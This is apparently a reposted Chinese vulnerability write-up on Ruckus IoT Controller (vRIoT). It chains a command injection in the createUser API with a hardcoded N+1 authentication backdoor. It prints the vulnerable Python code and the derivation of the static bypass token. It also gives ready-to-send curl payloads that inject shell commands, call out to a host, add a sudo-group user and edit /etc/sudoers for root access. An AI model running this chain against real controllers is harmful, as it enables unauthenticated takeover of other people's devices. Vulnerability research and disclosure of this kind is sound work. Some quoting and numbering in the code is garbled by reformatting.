Ruckus IoT 控制器中的远程命令执行(CVE-2020-26878 + CVE-2020-26879)

IoT 1年前 (2023) admin
583 0 0

关于在Ruckus vRIoT中发现的两个漏洞(CVE-2020-26878和CVE-2020-26879),它们可以组合利用导致远程命令执行漏洞。

Ruckus Wireless公司总部设在硅谷,是移动网络市场上先进的无线系统供应商。

引言

每天都有越来越多的人选择“智能家居”,因此我们正在研究一个不可预估的问题,即寻找某种方式管理物联网设备组件中的漏洞。我们发现了“Ruckus IoT套件”,并打算寻找一些漏洞。我们专注于 Ruckus IoT控制器(Ruckus vRIoT),它是“IoT套件”的虚拟组成部分,负责通过公开的API集成IoT套件设备和IoT套件服务。

Ruckus IoT 控制器中的远程命令执行(CVE-2020-26878 + CVE-2020-26879)

使用Ruckus平台的IoT架构示例

该软件以OVA格式提供(Ruckus IoT 1.5.1.0.21 (GA) vRIoT 服务器软件版本),因此它可以通过 VMware 和 VirtualBox 运行。这是获取和分析软件的一个好方法,因为它充当了测试平台。

“热身”环节

第一步是执行一些 recon 来检查攻击面,因此我们在虚拟机管理程序中运行 OVA,并执行简单的端口扫描以列出公开的服务:

  1. PORT STATE SERVICE REASON VERSION
  2. 22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
  3. 80/tcp open http syn-ack nginx
  4. 443/tcp open ssl/http syn-ack nginx
  5. 4369/tcp open epmd syn-ack Erlang Port Mapper Daemon
  6. 5216/tcp open ssl/http syn-ack Werkzeug httpd 0.12.1 (Python 3.5.2)
  7. 5672/tcp open amqp syn-ack RabbitMQ 3.5.7 (0-9)
  8. 9001/tcp filtered tor-orport no-response
  9. 25672/tcp open unknown syn-ack
  10. 27017/tcp filtered mongod no-response
  11. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

有一些有趣的事情!如果我们尝试通过SSH (admin/admin)登录,我们会获得一个受限菜单,此处几乎不能做任何事情:

Ruckus IoT 控制器中的远程命令执行(CVE-2020-26878 + CVE-2020-26879)

下一步是访问文件系统并了解该软件是如何工作的。我们无法破解受限菜单,所以需要以一种不那么花哨的方式提取文件:精炼技术,清理vmdk文件。

最后,OVA 文件只是一个包,它包含虚拟化系统所需的所有组件,因此我们可以在 qemu 和 NBD 驱动程序的帮助下提取其内容并装载虚拟机磁盘。

Ruckus IoT 控制器中的远程命令执行(CVE-2020-26878 + CVE-2020-26879)

如果成功了,现在可以访问整个文件系统:

  1. psyconauta@insulanova:/mnt|⇒ ls
  2. bin data home lib64 mqtt-broker root srv usr VRIOT
  3. boot dev initrd.img lost+found opt run sys var vriot.d
  4. cafiles etc lib mnt proc sbin tmp vmlinuz

我们可以在/etc/passwd文件中看到用户“admin”没有常规shell:

Ruckus IoT 控制器中的远程命令执行(CVE-2020-26878 + CVE-2020-26879)

该ras文件是一个 bash 脚本,对应之前看到的受限菜单。

  1. BANNERNAME=" Ruckus IoT Controller"
  2. MENUNAME=" Main Menu"
  3. if [ $TERM = "ansi" ]
  4. then
  5. set TERM=vt100
  6. export TERM
  7. fi
  8. main_menu () {
  9. draw_screen
  10. get_input
  11. check_input
  12. if [ $? = 10 ] ; then main_menu ; fi
  13. }
  14. ##------------------------------------------------------------------------------------------------
  15. draw_screen () {
  16. clear
  17. echo "*******************************************************************************"
  18. echo "$BANNERNAME"
  19. echo "$MENUNAME"
  20. echo "*******************************************************************************"
  21. echo ""
  22. echo "1 - Ethernet Network"
  23. echo "2 - System Details"
  24. echo "3 - NTP Setting"
  25. echo "4 - System Operation"
  26. echo "5 - N+1"
  27. echo "6 - Comm Debugger"
  28. echo "x - Log Off"
  29. echo
  30. echo -n "Enter Choice: "
  31. }
  32. ...

远程命令执行 (CVE-2020-26878)

通常,所有这些具有web界面的物联网路由器/交换机等都包含使用用户控制的输入执行操作系统命令的功能。这意味着如果输入没有被正确过滤,就可以注入任意命令。这是必须检查的操作,因此第一个任务是查找与web界面相关的文件:

  1. psyconauta@insulanova:/mnt/VRIOT|⇒ find -iname "*web*" 2> /dev/null
  2. ./frontend/build/static/media/fontawesome-webfont.912ec66d.svg
  3. ./frontend/build/static/media/fontawesome-webfont.af7ae505.woff2
  4. ./frontend/build/static/media/fontawesome-webfont.674f50d2.eot
  5. ./frontend/build/static/media/fontawesome-webfont.b06871f2.ttf
  6. ./frontend/build/static/media/fontawesome-webfont.fee66e71.woff
  7. ./ops/packages_151/node_modules/faye-websocket
  8. ./ops/packages_151/node_modules/faye-websocket/lib/faye/websocket.js
  9. ./ops/packages_151/node_modules/faye-websocket/lib/faye/websocket
  10. ./ops/packages_151/node_modules/node-red-contrib-kontakt-io/node_modules/ws/lib/WebSocketServer.js
  11. ./ops/packages_151/node_modules/node-red-contrib-kontakt-io/node_modules/ws/lib/WebSocket.js
  12. ./ops/packages_151/node_modules/node-red-contrib-kontakt-io/node_modules/mqtt/test/websocket_client.js
  13. ./ops/packages_151/node_modules/node-red-contrib-kontakt-io/node_modules/websocket-stream
  14. ./ops/packages_151/node_modules/sockjs/lib/webjs.js
  15. ./ops/packages_151/node_modules/sockjs/lib/trans-websocket.js
  16. ./ops/packages_151/node_modules/websocket-extensions
  17. ./ops/packages_151/node_modules/websocket-extensions/lib/websocket_extensions.js
  18. ./ops/packages_151/node_modules/node-red-contrib-web-worldmap
  19. ./ops/packages_151/node_modules/node-red-contrib-web-worldmap/worldmap/leaflet/font-awesome/fonts/fontawesome-webfont.woff
  20. ./ops/packages_151/node_modules/node-red-contrib-web-worldmap/worldmap/leaflet/font-awesome/fonts/fontawesome-webfont.svg
  21. ./ops/packages_151/node_modules/node-red-contrib-web-worldmap/worldmap/leaflet/font-awesome/fonts/fontawesome-webfont.woff2
  22. ./ops/packages_151/node_modules/websocket-driver
  23. ./ops/packages_151/node_modules/websocket-driver/lib/websocket
  24. ./ops/docker/webservice
  25. ./ops/docker/webservice/web_functions.py
  26. ./ops/docker/webservice/web_functions_helper.py
  27. ./ops/docker/webservice/web.py

通过这种方式,我们识别了几个与web相关的文件,并且web界面构建在python脚本之上。在python中有许多危险的函数,如果使用不当,会导致任意代码/命令的执行。简单的方法就是尝试查找主 Web 文件中具有用户控制数据的 os.system() 进行调用。一个简单的grep可以说明:

  1. psyconauta@insulanova:/mnt/VRIOT|⇒ grep -i "os.system" ./ops/docker/webservice/web.py -A 5 -B 5
  2. reqData = json.loads(request.data.decode())
  3. except Exception as err:
  4. return Response(json.dumps({"message": {"ok": 0,"data":"Invalid JSON"}}), 200)
  5. userpwd = 'useradd '+reqData['username']+' ; echo "'+reqData['username']+':'+reqData['password']+'" | chpasswd >/dev/null 2>&1'
  6. #call(['useradd ',reqData['username'],'; echo',userpwd,'| chpasswd'])
  7. os.system(userpwd)
  8. call(['usermod','-aG','sudo',reqData['username']],stdout=devNullFile)
  9. except Exception as err:
  10. print("err=",err)
  11. devNullFile.close()
  12. return errorResponseFactory(str(err), status=400)
  13. --
  14. slave_ip = reqData['slave_ip']
  15. if reqData['slave_ip'] != config.get("vm_ipaddress"):
  16. master_ip = reqData['slave_ip']
  17. slave_ip = reqData['master_ip']
  18. crontab_str = "crontab -l | grep -q 'ha_slave.py' || (crontab -l ; echo '*/5 * * * * python3 /VRIOT/ops/scripts/haN1/ha_slave.py 1 "+master_ip+" "+slave_ip+" >> /var/log/cron_ha.log 2>&1') | crontab -"
  19. os.system(crontab_str)
  20. #os.system("python3 /VRIOT/ops/scripts/haN1/n1_process.py > /dev/null 2>&1 &")
  21. except Exception as err:
  22. devNullFile.close()
  23. return errorResponseFactory(str(err), status=400)
  24. else:
  25. devNullFile.close()
  26. --
  27. call(['rm','-rf','/etc/corosync/authkey'],stdout=devNullFile)
  28. call(['rm','-rf','/etc/corosync/corosync.conf'],stdout=devNullFile)
  29. call(['rm','-rf','/etc/corosync/service.d/pcmk'],stdout=devNullFile)
  30. call(['rm','-rf','/etc/default/corosync'],stdout=devNullFile)
  31. crontab_str = "crontab -l | grep -v 'ha_slave.py' | crontab -"
  32. os.system(crontab_str)
  33. cmd = "supervisorctl status all | awk '{print $1}'"
  34. process_list = check_output(cmd,shell=True).decode('utf-8').split("\n")
  35. for process in process_list:
  36. if process and process != 'nplus1_service':
  37. --
  38. call(['service','sshd','stop'])
  39. config.update("vm_ssh_enable","0")
  40. call(['supervisorctl','restart','app:mqtt_service'])
  41. call(['supervisorctl', 'restart', 'celery:*'])
  42. if reqData["vm_ssh_enable"] == "0":
  43. os.system("kill $(ps aux | grep 'ssh' | awk '{print $2}')")
  44. except Exception as err:
  45. return Response(json.dumps({"message": {"ok": 0,"data":"Invalid JSON"}}), 200)
  46. elif request.method == 'GET':
  47. response_json = {
  48. "offline_upgrade_enable" : config.get("offline_upgrade_enable"),

第一个实例看起来已经很容易受到命令注入的影响。在检查代码片段时,我们可以发现它实际上是存在漏洞的:

  1. @app.route("/service/v1/createUser",methods=['POST'])
  2. @token_required
  3. def create_ha_user():
  4. try:
  5. devNullFile = open(os.devnull, 'w')
  6. try:
  7. reqData = json.loads(request.data.decode())
  8. except Exception as err:
  9. return Response(json.dumps({"message": {"ok": 0,"data":"Invalid JSON"}}), 200)
  10. userpwd = 'useradd '+reqData['username']+' ; echo "'+reqData['username']+':'+reqData['password']+'" | chpasswd >/dev/null 2>&1'
  11. #call(['useradd ',reqData['username'],'; echo',userpwd,'| chpasswd'])
  12. os.system(userpwd)
  13. call(['usermod','-aG','sudo',reqData['username']],stdout=devNullFile)
  14. except Exception as err:
  15. print("err=",err)
  16. devNullFile.close()

在调用 /service/v1/createUser时,我们可以看到直接从 POST 请求正文(JSON-formatted)以获取某些参数并连接到 os.system() 进行调用。由于这种串联在没有正确过滤的情况下完成,我们可以使用 ;,使用 HTTP 服务器(python -m SimpleHTTPServer) 轻松确认此漏洞:

  1. curl https://host/service/v1/createUser -k --data '{"username": ";curl http://TARGET:8000/pwned;#", "password": "test"}' -H "Authorization: Token 47de1a54fa004793b5de9f5949cf8882" -H "Content-Type: application/json"

通过 API 后门进行绕过身份验证 (CVE-2020-26879)

第一步是检查token_required函数,以便了解如何执行此过滤:

  1. def token_required(f):
  2. @wraps(f)
  3. def wrapper(*args, **kwargs):
  4. # Localhost Authentication
  5. if(request.headers.get('X-Real-Ip') == request.headers.get('host')):
  6. return f()
  7. # init call
  8. if(request.path == '/service/init' and request.method == 'POST'):
  9. return f()
  10. if(request.path == '/service/upgrade/flow' and request.method == 'POST'):
  11. return f()
  12. # N+1 Authentication
  13. if "Token " not in request.headers.get('Authorization'):
  14. print('Auth='+request.headers.get('Authorization'))
  15. token = crpiot_obj.decrypt(request.headers.get('Authorization'))
  16. print('Token='+token)
  17. with open("/VRIOT/ops/scripts/haN1/service_auth") as fileobj:
  18. auth_code = fileobj.read().rstrip()
  19. if auth_code == token:
  20. return f()
  21. # Normal Authentication
  22. k = requests.get("https://0.0.0.0/app/v1/controller/stats",headers={'Authorization': request.headers.get('Authorization')},verify=False)
  23. if(k.status_code != 200):
  24. return Response(json.dumps({"detail": "Invalid Token."}), 401)
  25. else:
  26. return f()
  27. return wrapper

让我们忽略header comparison :)并专注于 N+1 身份验证。如所见,如果授权标头不包含单词“Token”,则将解密标头值,并与文件中的硬编码值

“` def init(self, salt=’nplusServiceAuth’):
self.salt = salt.encode(“utf8”)
self.enc_dec_method = ‘utf-8’
self.str_key=config.get(‘n1_token’).encode(“utf8”)

  1. def encrypt(self, str_to_enc):
  2. try:
  3. aes_obj = AES.new(self.str_key, AES.MODE_CFB, self.salt)
  4. hx_enc = aes_obj.encrypt(str_to_enc.encode("utf8"))
  5. mret = b64encode(hx_enc).decode(self.enc_dec_method)
  6. return mret
  7. except ValueError as value_error:
  8. if value_error.args[0] == 'IV must be 16 bytes long':
  9. raise ValueError('Encryption Error: SALT must be 16 characters long')
  10. elif value_error.args[0] == 'AES key must be either 16, 24, or 32 bytes long':
  11. raise ValueError('Encryption Error: Encryption key must be either 16, 24, or 32 characters long')
  12. else:
  13. raise ValueError(value_error)
  1. 该值(n1_token)可以通过 greping (spoiler: 它是 serviceN1authent)找到的。有了这些信息,就可以去python控制台并创建值:

from Crypto.Cipher import AES
from base64 import b64encode, b64decode
salt=’nplusServiceAuth’
salt = salt.encode(“utf8”)
enc_dec_method = ‘utf-8’
str_key = ‘serviceN1authent’
aes_obj = AES.new(str_key, AES.MODE_CFB, salt)
hx_enc = aes_obj.encrypt(‘TlBMVVMx’.encode(“utf8”))# From /VRIOT/ops/scripts/haN1/service_auth
mret = b64encode(hx_enc).decode(enc_dec_method)
print mret
OlDkR+oocZg=

  1. 因此,将授权标头设置为 OlDkR+oocZg=足以绕过令牌检查并与 API 进行交互。可以将此后门与远程命令注入相结合:

curl https://host/service/v1/createUser -k —data ‘{“username”: “;useradd \”exploit\” -g 27; echo \”exploit\”:\”pwned\” | chpasswd >/dev/null 2>&1;sed -i \”s/Defaults rootpw/ /g\” /etc/sudoers;#”, “password”: “test”}’ -H “Authorization: OlDkR+oocZg=” -H “Content-Type: application/json”

“`

现在登录:

Ruckus IoT 控制器中的远程命令执行(CVE-2020-26878 + CVE-2020-26879)

PWNED! >:). 所以我们可以通过未授权命令执行漏洞拿到root权限。

-end

 

版权声明:admin 发表于 2023年1月9日 下午3:59。
转载请注明:Ruckus IoT 控制器中的远程命令执行(CVE-2020-26878 + CVE-2020-26879) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...